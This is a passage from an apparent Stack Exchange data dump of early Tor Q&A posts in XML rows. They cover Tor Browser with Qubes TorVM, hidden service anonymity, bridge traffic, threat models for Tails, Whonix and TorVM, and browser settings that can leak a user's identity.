LastActivityDate="2013-09-25T20:06:09.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29" PostTypeId="1" AcceptedAnswerId="59" CreationDate="2013-09-25T20:09:39.803" Score="7" ViewCount="1711" Body="&lt;p&gt;I want to run &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot;&gt;Tor Browser&lt;/a&gt;, without the bundled Tor, using &lt;a href=&quot;http://qubes-os.org/trac/wiki/UserDoc/TorVM&quot;&gt;Qubes TorVM&lt;/a&gt;. Let's assume I have already got &lt;a href=&quot;https://en.wikipedia.org/wiki/Qubes_OS&quot;&gt;Qubes OS&lt;/a&gt; running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The TorVM documentation states under Future Work: &quot;Create Tor Browser packages w/out bundled tor&quot;. This is essentially what I want to do now, except I will need to manually set things up so that Tor Browser uses Tor through the TorVM rather than through the bundled Tor executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? Because the version of Firefox that comes with the Tor Browser Bundle is already configured to be relatively secure and Tor-friendly compared to stock Firefox.&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2013-09-29T17:28:00.437" Title="How do I use Tor Browser with Qubes TorVM?" Tags="|tor-browser-bundle|qubes|torvm|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30" PostTypeId="2" ParentId="1" CreationDate="2013-09-25T20:10:59.043" Score="28" Body="&lt;p&gt;Yes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We made a small list of groups that have known and recommended Tor researchers here:&#xA;&lt;a href=&quot;https://research.torproject.org/groups.html&quot;&gt;https://research.torproject.org/groups.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are literally dozens of research groups working on evaluating and/or improving Tor. Take a look at &lt;a href=&quot;http://freehaven.net/anonbib/&quot;&gt;http://freehaven.net/anonbib/&lt;/a&gt; for all the good examples I've found so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for where their funding comes from, it varies widely. Many of them (in the US) get funding from NSF. Some of them are European and get funding from various EU research agencies.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-25T20:10:59.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31" PostTypeId="5" CreationDate="2013-09-25T20:19:09.910" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser Bundle&lt;/a&gt;, also known as the Tor browser, is a patched version of the Firefox web browser designed for users to safely use the Tor network. It is available for most operating systems including Windows, Mac OS, Linux, and Android. It is a package of software which can be used directly from a harddrive or USB stick.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="31632" LastEditDate="2021-04-07T20:02:19.167" LastActivityDate="2021-04-07T20:02:19.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32" PostTypeId="4" CreationDate="2013-09-25T20:19:09.910" Score="0" Body="This tag should be used for questions relating to the Tor Browser (e.g. questions about the Tor Browser's features or issues with using the Tor Browser)." OwnerUserId="71" LastEditorUserId="31632" LastEditDate="2021-04-07T20:03:34.913" LastActivityDate="2021-04-07T20:03:34.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33" PostTypeId="2" ParentId="5" CreationDate="2013-09-25T20:22:35.717" Score="4" Body="&lt;p&gt;You are actually asking two questions here. One is about &lt;em&gt;censorship resistance&lt;/em&gt; (can somebody block the bootstrapping process?) and the other about &lt;em&gt;authentication&lt;/em&gt; (can a bad person pretend to be a Tor relay?). Here are answers to both questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Censorship resistance&lt;/strong&gt;: Yes, a nasty network administrator can indeed block the bootstrapping connections which download the network consensus from the directory authorities. In fact, this is done by the &lt;a href=&quot;http://www.cs.kau.se/philwint/static/gfc/&quot; rel=&quot;nofollow&quot;&gt;Great Firewall of China&lt;/a&gt;. (Part of) The solution to this problem are bridges. &lt;a href=&quot;https://www.torproject.org/docs/bridges&quot; rel=&quot;nofollow&quot;&gt;Bridges&lt;/a&gt; are basically unpublished Tor relays which no longer have this single point of failure. Additional information can be found under point 'h' &lt;a href=&quot;https://www.torproject.org/docs/documentation#UpToSpeed&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Authentication&lt;/strong&gt;: As you write, the Tor source code includes a hard-coded list of the directory authorities' IP addresses as well as their cryptographic key fingerprints. This is the &lt;em&gt;trust anchor&lt;/em&gt;. After your Tor client fetched the network consensus which contains all Tor relays, it verifies that it is authentic by checking the signature over the consensus. Nobody can give you a manipulated consensus because your client already knows the authorities' keys. The consensus then contains the key fingerprints of all Tor relays which makes it very hard to &quot;man-in-the-middle&quot; such a connection. Of course, this assumes that you got your copy of Tor over a &lt;em&gt;secure channel&lt;/em&gt;. In practice, you probably downloaded it over HTTPS from &lt;a href=&quot;https://www.torproject.org&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org&lt;/a&gt; and checked the PGP signature. Unfortunately, secure software distribution is a difficult problem. Additional information is available &lt;a href=&quot;https://www.torproject.org/docs/faq#KeyManagement&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="42" LastEditorUserId="42" LastEditDate="2013-09-25T20:37:23.927" LastActivityDate="2013-09-25T20:37:23.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34" PostTypeId="2" ParentId="19" CreationDate="2013-09-25T20:36:59.287" Score="1" Body="&lt;p&gt;Tor Project suggest two ways to use Tor : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor Browser if you want just to browse webpages (&lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/projects/torbrowser.html.en&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Tails Live Linux to have a better experience with an operating system. (&lt;a href=&quot;https://tails.boum.org&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you're able to run your application in Tails which is based on Debian GNU/Linux perhaps it's &lt;strong&gt;the safer path to take&lt;/strong&gt;. Tails makes sure that every connection is made through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bunch of applications was not designed with anonymity in mind so they might try hard to determine you real external IP, e.g a BitTorrent client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless if you want to check the connections your application makes, you'd better try an isolated environment e.g a virtual machine with VirtualBox. A virtual machine gives you the opportunity to have Windows or Linux. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you prepare you virtual machine, install your appplication and make sure you shutdown as many as you can of the rest applications in the virtual instance. Install and run Tor and point your application to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally install Wireshark, a network analyzer. Wireshark can capture network traffic from the (virtual) interface. Run and use your torified application and watch in Wireshark for packets coming and going. To help yourself you can make use of the various filters of Wireshark, e.g filtering DNS requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally be aware that some applications might leak other sensitive informations of yours, apart from your real IP address. Such information can be your username, hardware information, timezone etc.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-09-25T20:36:59.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35" PostTypeId="1" AcceptedAnswerId="43" CreationDate="2013-09-25T20:44:25.550" Score="28" ViewCount="2775" Body="&lt;p&gt;Another way of putting this: How hard would it be to de-anonymize a hidden service? By &quot;de-anonymize&quot; I mean revealing the IP address of whatever server the hidden service is hosted on. Of course, this wouldn't necessarily mean revealing the identity of the person who is running the server (or paying someone to run the server). And there are other complications: it could be running on a VPS, and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't want to over-complicate this. The question is, how easily could an attacker find out the IP address of a hidden service compared to finding a Tor user's IP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming that &lt;a href=&quot;https://blog.torproject.org/blog/hidden-services-need-some-love&quot;&gt;this blog post&lt;/a&gt; is still accurate in describing some of the current problems with hidden services that need to be addressed.&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="43" LastEditDate="2013-09-26T22:54:02.317" LastActivityDate="2017-05-19T17:39:16.573" Title="How strong is the anonymity of a hidden service compared to an average Tor client? How much easier is it to learn the Hidden Service's IP address?" Tags="|onion-services|deanonymization|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36" PostTypeId="1" AcceptedAnswerId="61" CreationDate="2013-09-25T20:55:42.833" Score="10" ViewCount="493" Body="&lt;p&gt;Traffic pattern recognition can apparently be used to achieve a high degree of confidence of the origin of certain traffic, based on statistical analysis of exit node traffic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to mitigate this in any way? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it may be possible to try and create behavioral noise on exit nodes but this sounds like a very problematic approach. Are there any other approaches?&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="55" LastEditDate="2013-09-30T03:54:14.890" LastActivityDate="2013-09-30T03:54:14.890" Title="How can I prevent someone looking at my traffic patterns from learning that I use Tor?" Tags="|surveillance|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37" PostTypeId="1" CreationDate="2013-09-25T21:01:00.690" Score="4" ViewCount="1815" Body="&lt;p&gt;Are there Tor Browser settings that, when changed, can lead to my IP address being leaked?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="72" LastEditDate="2013-10-05T12:39:33.720" LastActivityDate="2013-10-05T12:39:33.720" Title="Which Tor Browser settings can leak my IP address when changed?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="1" CommentCount="2" ClosedDate="2013-10-02T11:29:28.400" ContentLicense="CC BY-SA 3.0" />
  <row Id="38" PostTypeId="1" AcceptedAnswerId="42" CreationDate="2013-09-25T21:03:23.150" Score="6" ViewCount="5906" Body="&lt;p&gt;Why would someone want to use Tor through a &lt;a href=&quot;http://qubes-os.org/trac/wiki/UserDoc/TorVM&quot; rel=&quot;noreferrer&quot;&gt;TorVM&lt;/a&gt; in &lt;a href=&quot;https://en.wikipedia.org/wiki/Qubes_OS&quot; rel=&quot;noreferrer&quot;&gt;Qubes&lt;/a&gt;, compared to other approaches? &lt;a href=&quot;https://www.whonix.org/wiki/Comparison_with_Others&quot; rel=&quot;noreferrer&quot;&gt;This page&lt;/a&gt; compares TorVM to Whonix, Tails, and Tor Browser but doesn't come to a firm conclusion as to which is &quot;best&quot;. This is because, as the article states, the various approaches have &quot;Different threat model[s], different implementation[s], different use cases, although some overlap&quot; and &quot;Different political and design decisions&quot;. I am especially interested in the different threat models involved here.&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2013-09-25T21:27:49.387" Title="What threat model is Qubes OS TorVM most appropriate for?" Tags="|qubes|torvm|isolation|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39" PostTypeId="2" ParentId="35" CreationDate="2013-09-25T21:03:36.580" Score="11" Body="&lt;p&gt;Running a hidden service with safety can be really complicated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hidden service administrator has to make sure that no application running on the server can be exploited remotely. Α hidden website may be vulnerable to the same threats every other website is. If the software a server uses to show a website is vulnerable, for example apache server or a wordpress installation or the database, then an adversary may use these vulnerabilities to gain access to the server, perhaps get privilege escalation(in many cases that won't be necessary) and finally be able to find your real IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A hidden service may leak various other information that characterize your server and might lead an adversary to the real location of the service. This can be software's versions, encoding, time zone, or even the content itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the resources of the adversary, some adversaries might validate their suspicions about the location of the hidden service, by attacking part of the network the server resides in. Correlating when a certain part of a network is unreachable with the downtime of your hidden service, might indicate the vague location of your hidden service. This may also happen accidentally, when for example your provider has some kind of outage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget that a hidden service just as an ordinary user of Tor Browser, makes use of Tor as a client. Using Tor can be easily distinguishable if your connection is under surveillance. Depending on the depth of surveillance, an adversary apart from telling that you're using Tor as a client (adversary can easily tell that you're not a relay by reading the public consensus of Tor), he may use time and data quota correlation for your outgoing traffic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a last point, the answer really depends of the resources of the attacker and whether he already has some kind of clue about the Tor user. &lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2013-09-26T18:38:37.243" LastActivityDate="2013-09-26T18:38:37.243" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40" PostTypeId="1" AcceptedAnswerId="41" CreationDate="2013-09-25T21:06:08.947" Score="4" ViewCount="115" Body="&lt;p&gt;I am running a Tor Cloud EC2 instance. From the log files, it looks like it receives more traffic than it sends. What causes this?&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-09-25T21:19:00.590" Title="Why does my Tor Cloud bridge receive more traffic than it sends?" Tags="|tor-cloud|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41" PostTypeId="2" ParentId="40" CreationDate="2013-09-25T21:19:00.590" Score="6" Body="&lt;p&gt;How many users does your cloud bridge have? Many bridges, especially new ones, haven't had their address given out to very many users yet, so they see very little activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the same time, your Tor fetches directory information (list of relays in the network, whether they're up right now, etc) in order to have it ready to give users when they show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is quite reasonable to have a small bridge that reads more traffic than it sends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a very popular bridge, you'll be asking the opposite question -- because it will be supplying directory information to bridge users and so writing more than it reads.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-25T21:19:00.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42" PostTypeId="2" ParentId="38" CreationDate="2013-09-25T21:27:49.387" Score="4" Body="&lt;p&gt;Written in September 2013, this answer might be out of date after some time. Full disclosure: I am a maintainer of Whonix wrote most of &lt;a href=&quot;https://www.whonix.org/wiki/Comparison_with_Others&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;, so I may be biased. (By the way, that page is under a Free as in speech license, so if you legally copy it to wikipedia (or similar) it can be made truly objective.)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;If you are most concerned about local forensics: &lt;br /&gt;&#xA;Use Tails&lt;/strong&gt;, because it is amnesic by design. (Or maybe Liberte Linux, but I know too little about it to compare it.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;If you are most concerned about vulnerability exploitation: &lt;br /&gt;&#xA;Use Qubes OS TorVM&lt;/strong&gt;, because Qubes OS's (what Qubes OS TorVM is based on) developers seem to care most about strong security and isolation, which means, should one of your VM be compromised, the attacker might have a harder time compromising another VM. Qubes OS lacks Tor Browser and secure network time synchronization.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;If you are most concerned about protocol level leaks and ISP snooping: &lt;br /&gt;&#xA;Use Whonix&lt;/strong&gt;, because it includes the original Tor Browser (downloaded from The Tor Project's homepage), has unified desktop resolution for all Whonix users (who don't install guest additions), boot clock randomization and secure network time synchronization.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-09-25T21:27:49.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43" PostTypeId="2" ParentId="35" CreationDate="2013-09-25T21:31:55.823" Score="17" Body="&lt;p&gt;Alaf's answer is a good start. Describing all known attacks on Tor and how they apply to hidden services is a broad task and not really suited for a little text box here. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'll give you an example. If I run a middle relay (neither a Guard nor an Exit), then I can visit your hidden service over and over and eventually you will use my relay in one of the circuits you make to answer my requests. That won't tell me where you are, because there's still another relay in the way. And that's exactly what guards are for:&#xA;&lt;a href=&quot;https://www.torproject.org/docs/faq#EntryGuards&quot;&gt;https://www.torproject.org/docs/faq#EntryGuards&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This attack is described in more detail in&#xA;&lt;a href=&quot;http://freehaven.net/anonbib/#hs-attack06&quot;&gt;http://freehaven.net/anonbib/#hs-attack06&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This attack works better on hidden services than on normal Tor users, because I can control the rate at which the hidden service makes new circuits (whereas for normal Tor users I typically have to wait until they choose to make another circuit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the question is: how do I use knowledge of your guard relays to deanonymize you? One answer is to break into the guard and/or watch its network. Maybe some large adversaries would find that a reasonable attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another answer is to run a few guards, and wait and be patient. Eventually (meaning months) the hidden service will rotate its guard nodes, and it might pick my guards. Then I can do the attack again and win. Some further reading:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/research-problem-better-guard-rotation-parameters&quot;&gt;https://blog.torproject.org/blog/research-problem-better-guard-rotation-parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://freehaven.net/anonbib/#wpes12-cogs&quot;&gt;http://freehaven.net/anonbib/#wpes12-cogs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://freehaven.net/anonbib/#ccs2013-usersrouted&quot;&gt;http://freehaven.net/anonbib/#ccs2013-usersrouted&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, this isn't a complete set of possible attacks. Maybe an adversary who finds breaking 1024-bit crypto easy would find it more fun to just break all the layers of crypto (assuming the hidden service hasn't upgraded to Tor 0.2.4.x yet).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-25T21:31:55.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44" PostTypeId="1" CreationDate="2013-09-25T21:34:52.380" Score="2" ViewCount="180" Body="&lt;p&gt;Assuming that I run a Tor relay on a virtual private server running linux, are there any good practices to keep my relay's private key safe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can take for granted that software packages constantly get updated and upgraded and that ssh access is restricted to ssh keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I use an encrypted loopback device to encrypt the private key? Are there any other attack vectors I should have in mind ?&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2013-09-26T14:23:33.980" LastActivityDate="2013-09-26T14:23:33.980" Title="Are there any good practices to keep my Tor relay's private key safe?" Tags="|relays|security|private-key|" AnswerCount="0" CommentCount="3" ClosedDate="2013-09-26T16:42:01.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="45" PostTypeId="2" ParentId="37" CreationDate="2013-09-25T21:44:42.107" Score="5" Body="&lt;p&gt;Please feel free to collaboratively edit and expand this answer until it gets somewhat complete.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/7255&quot;&gt;might&lt;/a&gt; be better not to maximize the Tor Browser window.&lt;/li&gt;&#xA;&lt;li&gt;Do not change proxy settings.&lt;/li&gt;&#xA;&lt;li&gt;Do not install add-ons, especially not those modifying the traffic (adblockers let you fetch less resources, which makes you stand out from others) and not those, which modify the looks of the browser content video or sidebars, because that might change your browser resolution, which would make you stand out as well.&lt;/li&gt;&#xA;&lt;li&gt;Do not install plugins, such as Adobe Flash.&lt;/li&gt;&#xA;&lt;li&gt;Enable/disable bookmark toolbar or sidebars, since that might change your browser resolution.&lt;/li&gt;&#xA;&lt;li&gt;Do not enable fullscreen mode.&lt;/li&gt;&#xA;&lt;li&gt;Do not disable private browsing.&lt;/li&gt;&#xA;&lt;li&gt;Do not enable cookies.&lt;/li&gt;&#xA;&lt;li&gt;Javascript, leave it enabled or disable it? &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2012-May/024227.html&quot;&gt;Decide&lt;/a&gt; &lt;a href=&quot;https://blog.torproject.org/blog/tor-security-advisory-old-tor-browser-bundles-vulnerable&quot;&gt;yourself&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Do not disable Tor Button.&lt;/li&gt;&#xA;&lt;li&gt;Do not change Tor Button settings.&lt;/li&gt;&#xA;&lt;li&gt;Do not enable DNT, also called &quot;do not track&quot;, in Firefox privacy options, do not enable &quot;Tell websites I do not want to be tracked&quot;.&lt;/li&gt;&#xA;&lt;li&gt;I expand this answer during the next hour...&lt;/li&gt;&#xA;&lt;li&gt;Do not enable popup windows.&lt;/li&gt;&#xA;&lt;li&gt;Do not disable automatic loading of images.&lt;/li&gt;&#xA;&lt;li&gt;Do not change default fonts. (?)&lt;/li&gt;&#xA;&lt;li&gt;Do not choose a preferred language.&lt;/li&gt;&#xA;&lt;li&gt;Do not enable &quot;Block reported attack sites&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Do not enable &quot;Block reported forgeries sites&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Do not enable &quot;submit performance data&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Do not enable &quot;warn me, when websites try to redirect or reload the page&quot;. (This might be recognizable by the destination server, and every bit is a bit more which can be used for fingerprinting.)&lt;/li&gt;&#xA;&lt;li&gt;Do not change cache settings.&lt;/li&gt;&#xA;&lt;li&gt;Do not disable &quot;tell me when a website asks to store data for offline use&quot;.&lt;/li&gt;&#xA;&lt;li&gt;When you are notified about a Tor Browser update, get the update.&lt;/li&gt;&#xA;&lt;li&gt;Do not change automatic updates settings in Firefox settings, wait until Tor Browser gets it's own automatic updater.&lt;/li&gt;&#xA;&lt;li&gt;Do not enable &quot;automatically update search engines&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Do not enable history (you might be tempted to follow a link which contains an unique ID, which would then be pseudonymous, not anonymous).&lt;/li&gt;&#xA;&lt;li&gt;Be careful with bookmarks. Do not bookmark links, which contain unique id's.&lt;/li&gt;&#xA;&lt;li&gt;Do not change encryption settings (enable/disable SSL), do not change SSL root certificates (destinations servers could probe which you accept).&lt;/li&gt;&#xA;&lt;li&gt;Be careful when changing settings in about:config.&lt;/li&gt;&#xA;&lt;li&gt;Generally, before changing settings, you should:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Find out, why the setting is not changed by default in Tor Browser and eventually, propose changing the setting by default in Tor Browser.&lt;/li&gt;&#xA;&lt;li&gt;use search engine and search for &quot;tor browser change X setting&quot; and&lt;/li&gt;&#xA;&lt;li&gt;&quot;tor browser change X setting&quot; and&lt;/li&gt;&#xA;&lt;li&gt;&quot;site:torproject.org change X setting&quot; and&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/query&quot;&gt;custom search Tor's bug/feature tracker&lt;/a&gt;, &lt;a href=&quot;https://trac.torproject.org/projects/tor/query?status=accepted&amp;amp;status=assigned&amp;amp;status=closed&amp;amp;status=needs_information&amp;amp;status=needs_review&amp;amp;status=needs_revision&amp;amp;status=new&amp;amp;status=reopened&amp;amp;component=TorBrowserButton&amp;amp;summary=~toolbar&amp;amp;order=priority&quot;&gt;example 1&lt;/a&gt;, &lt;a href=&quot;https://trac.torproject.org/projects/tor/query?status=accepted&amp;amp;status=assigned&amp;amp;status=closed&amp;amp;status=needs_information&amp;amp;status=needs_review&amp;amp;status=needs_revision&amp;amp;status=new&amp;amp;status=reopened&amp;amp;component=Tor+bundles%2Finstallation&amp;amp;summary=~toolbar&amp;amp;order=priority&quot;&gt;example 2&lt;/a&gt; and/or&lt;/li&gt;&#xA;&lt;li&gt;ask on irc.oftc.net #Tor and/or&lt;/li&gt;&#xA;&lt;li&gt;ask on the &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-talk&quot;&gt;tor-talk mailing list&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2013-09-25T22:03:28.743" LastActivityDate="2013-09-25T22:03:28.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="46" PostTypeId="1" CreationDate="2013-09-25T21:46:18.907" Score="8" ViewCount="1372" Body="&lt;p&gt;One of the fundamentals of Tor is that it can only really hide you if, when Tor is enabled and in use, you're using it exclusively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Agents wishing to de-anonymize you can examine requests to different endpoints and look for common or synchronized requests, which suggests that the traffic from a proxied IP address is related to the traffic from the actual endpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to prevent other components on my laptop from disclosing my location, I'd like to configure the system so it blocks all traffic that isn't going through the Tor relay. For instance, Skype, Gmail, Spotify, or anything else that makes requests to the Internet must be disabled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I configure Tor, or my network, so that only components using the Tor relay can make requests to the Internet? I've used firewall UNIX tools like ufw and ipfw, but automating this would reduce the potential for making mistakes and forgetting to close or block something.&lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="83" LastEditDate="2013-09-26T03:17:08.317" LastActivityDate="2014-10-08T20:36:20.660" Title="How can I configure my network so that when Tor is running no other traffic can leave the box?" Tags="|network-configuration|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="48" PostTypeId="1" CreationDate="2013-09-25T21:48:27.403" Score="14" ViewCount="3252" Body="&lt;p&gt;In a recent &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html&quot;&gt;Tor security advisory&lt;/a&gt;, Roger Dingledine writes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Consider disabling JavaScript (click the blue&#xA;    &quot;S&quot; beside the green onion, and select &quot;Forbid Scripts Globally&quot;).&#xA;    Disabling JavaScript will reduce your vulnerability to other attacks&#xA;    like this one, but disabling JavaScript will make some websites not work&#xA;    like you expect. A future version of Tor Browser Bundle will have an&#xA;    easier interface for letting you configure your JavaScript settings [11].&#xA;    You might also like Request Policy [12]. And you might want to randomize&#xA;    your MAC address, install various firewalls, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;He makes a few other suggestions, like not using Windows and switching to a LiveCD such as &lt;a href=&quot;https://tails.boum.org/about/&quot;&gt;Tails&lt;/a&gt;. My question, though, relates to the &quot;etc.&quot; in Roger's statement that &quot;you might want to randomize&#xA;  your MAC address, install various firewalls, etc.&quot; Besides disabling Javascript, installing RequestPolicy, and following Roger's other recommendations, what else can/should I do to harden Firefox?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Roger states, &quot;JavaScript is one big vector for attack, but many other&#xA;  big vectors exist, like css, svg, xml, the renderer, etc.&quot; Okay, so I should probably disable images and CSS then? Short of using a text-based browser like Lynx, what can I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am less concerned with linkability/fingerprinting than I am with security, i.e. maintaining the anonymity of my IP address by not getting owned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The security advisory quoted above also touches on stuff Tor users can do at the OS level to increase security. This could involve using Tails or possibly a VM-based approach (examples are &lt;a href=&quot;http://qubes-os.org/trac&quot;&gt;Qubes&lt;/a&gt; or &lt;a href=&quot;https://www.whonix.org/wiki/Main_Page&quot;&gt;Whonix&lt;/a&gt;). There are plenty of other OS options, like OpenBSD, Hardened Gentoo, and so on, each with its pros and cons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's just focus on Firefox, though - regardless of OS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even then, this is a pretty broad question. Maybe it should be split into more than one question?&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="923" LastEditDate="2014-03-01T15:15:11.787" LastActivityDate="2014-11-10T13:43:40.450" Title="Aside from disabling Javascript in Firefox, how can I make Tor Browser Bundle more secure?" Tags="|tor-browser-bundle|security|firefox|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="49" PostTypeId="2" ParentId="7" CreationDate="2013-09-25T21:56:30.277" Score="7" Body="&lt;p&gt;For starters, there is &lt;a href=&quot;https://gitweb.torproject.org/tor.git&quot;&gt;main tor implementation&lt;/a&gt;, the one in C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a Java version of Tor in development, called &lt;a href=&quot;https://github.com/brl/JTor&quot;&gt;JTor&lt;/a&gt;, however it has not be 'released' yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, there is an implementation of Tor written in python using the Scapy library called &#xA;&lt;a href=&quot;https://github.com/cea-sec/TorPylle&quot;&gt;TorPylle&lt;/a&gt;, but it is an experimental implementation more to explain the protocol and should not be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There also exist number of projects that use tor as backend, but do not itself implement it (they might bundle tor, but do not maintain their own source code). There is a &lt;a href=&quot;https://www.torproject.org/getinvolved/volunteer.html.en&quot;&gt;list&lt;/a&gt; of 